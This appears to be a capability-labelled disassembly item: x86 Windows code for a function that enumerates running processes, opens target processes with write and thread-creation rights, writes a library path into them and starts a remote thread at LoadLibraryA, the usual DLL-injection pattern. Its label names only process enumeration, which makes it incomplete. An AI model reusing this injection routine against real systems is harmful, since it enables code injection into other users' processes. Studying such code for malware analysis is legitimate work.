Function at 0x4019aa
Capabilities:
Enumerate processes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x174
mov ebp, dword [esp + 0x188]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
add esp, 8
test eax, eax
jne 0x4019da
mov dword [esp + 8], 0
jmp 0x401cb2
mov edx, dword [0x412030]
test edx, edx
jle 0x4019f9
mov eax, 0
lea ecx, [esp + 0x14c]
mov byte [eax + ecx], 0
inc eax
cmp eax, edx
jne 0x4019f0
mov dword [esp + 0x20], 0x128
sub esp, 8
lea eax, [esp + 0x28]
push eax
push edi
call sub.KERNEL32.dll_Process32First
add esp, 8
test eax, eax
jne 0x401a23
mov dword [esp + 8], 0
jmp 0x401c0e
mov dword [esp + 8], 0
mov ecx, dword [0x412030]
test ecx, ecx
jle 0x401a68
mov edx, dword [esp + 0x28]
cmp dword [0x4122f0], edx
jne 0x401a5e
mov eax, 0
jmp 0x401a51
cmp dword [eax*4 + 0x4122f0], edx
jne 0x401a63
mov byte [esp + eax + 0x14c], 1
jmp 0x401bf5
mov eax, 0
inc eax
cmp eax, ecx
jne 0x401a48
lea eax, [esp + 0x184]
mov dword [esp + 0x148], eax
jmp 0x401bda
lea eax, [esp + 0x44]
call section..text
sub esp, 8
push ebx
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
jne 0x401bda
mov esi, dword [esp + 0x28]
sub esp, 0xc
push ebp
call sub.KERNEL32.dll_lstrlenA
lea ebx, [eax + 1]
add esp, 0xc
cmp dword [0x4120e0], 2
jne 0x401b8e
sub esp, 4
push esi
push 0
push 0x2a
call sub.KERNEL32.dll_OpenProcess
mov esi, eax
add esp, 4
test eax, eax
je 0x401bda
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], ebx
mov edx, dword [0x412200]
test edx, edx
je 0x401c7a
cmp dword [0x412210], 0
je 0x401c7a
cmp dword [0x412240], 0
je 0x401c7a
sub esp, 8
push 4
push 0x1000
lea eax, [esp + 0x28]
push eax
push 0
lea eax, [esp + 0x34]
push eax
push esi
call edx
add esp, 8
test eax, eax
js 0x401c7a
sub esp, 0xc
lea eax, [esp + 0x24]
push eax
push ebx
push ebp
push dword [esp + 0x34]
push esi
call dword [0x412210]
add esp, 0xc
test eax, eax
js 0x401c7a
sub esp, 4
push 0
push 0
push dword [esp + 0x28]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [eax]
push 0x1000
push 0
push esi
call dword [0x412240]
mov ebx, eax
sub esp, 8
push esi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
test ebx, ebx
je 0x401bda
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x401c8b
push 4
push 0x8001000
push ebx
push 0
call sub.KERNEL32.dll_VirtualAlloc
mov dword [esp + 0x1c], eax
sub esp, 8
push ebp
push eax
call sub.KERNEL32.dll_lstrcpyA
sub esp, 4
push 8
push dword [esp + 0x2c]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [eax]
push 0xfffff000
mov eax, esi
xor eax, dword [0x412260]
push eax
call dword [0x412250]
add esp, 0xc
test eax, eax
jne 0x401c8b
mov edx, dword [esp + 0x148]
lea eax, [edx + 4]
mov dword [esp + 0x148], eax
mov ebx, dword [edx]
test ebx, ebx
jne 0x401a7b
sub esp, 8
lea eax, [esp + 0x28]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
add esp, 8
test eax, eax
jne 0x401a2b
sub esp, 0xc
push edi
call sub.KERNEL32.dll_CloseHandle
mov ebx, dword [0x412030]
add esp, 0xc
test ebx, ebx
jle 0x401cb2
mov eax, ebx
mov edi, 0
mov esi, 1
lea ebp, [esp + 0x14c]
jmp 0x401c40
mov ebx, eax
inc esi
cmp byte [esi + ebp - 1], 0
jne 0x401c66
dec ebx
cmp ebx, edi
jle 0x401c72
lea edx, [edi*4 + 0x4122f4]
mov ecx, edi
inc ecx
mov eax, dword [edx]
mov dword [edx - 4], eax
add edx, 4
cmp ebx, ecx
jg 0x401c55
mov eax, ebx
jmp 0x401c3f
inc edi
cmp edi, eax
jl 0x401c3d
mov dword [0x412030], eax
jmp 0x401cb2
mov dword [0x412030], ebx
jmp 0x401cb2
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x401bda
mov eax, dword [0x412030]
mov byte [esp + eax + 0x14c], 1
mov edx, dword [esp + 0x28]
mov dword [eax*4 + 0x4122f0], edx
inc eax
mov dword [0x412030], eax
inc dword [esp + 8]
jmp 0x401bda
mov eax, dword [esp + 8]
add esp, 0x16c
pop ebx
pop esi
pop edi
pop ebp
ret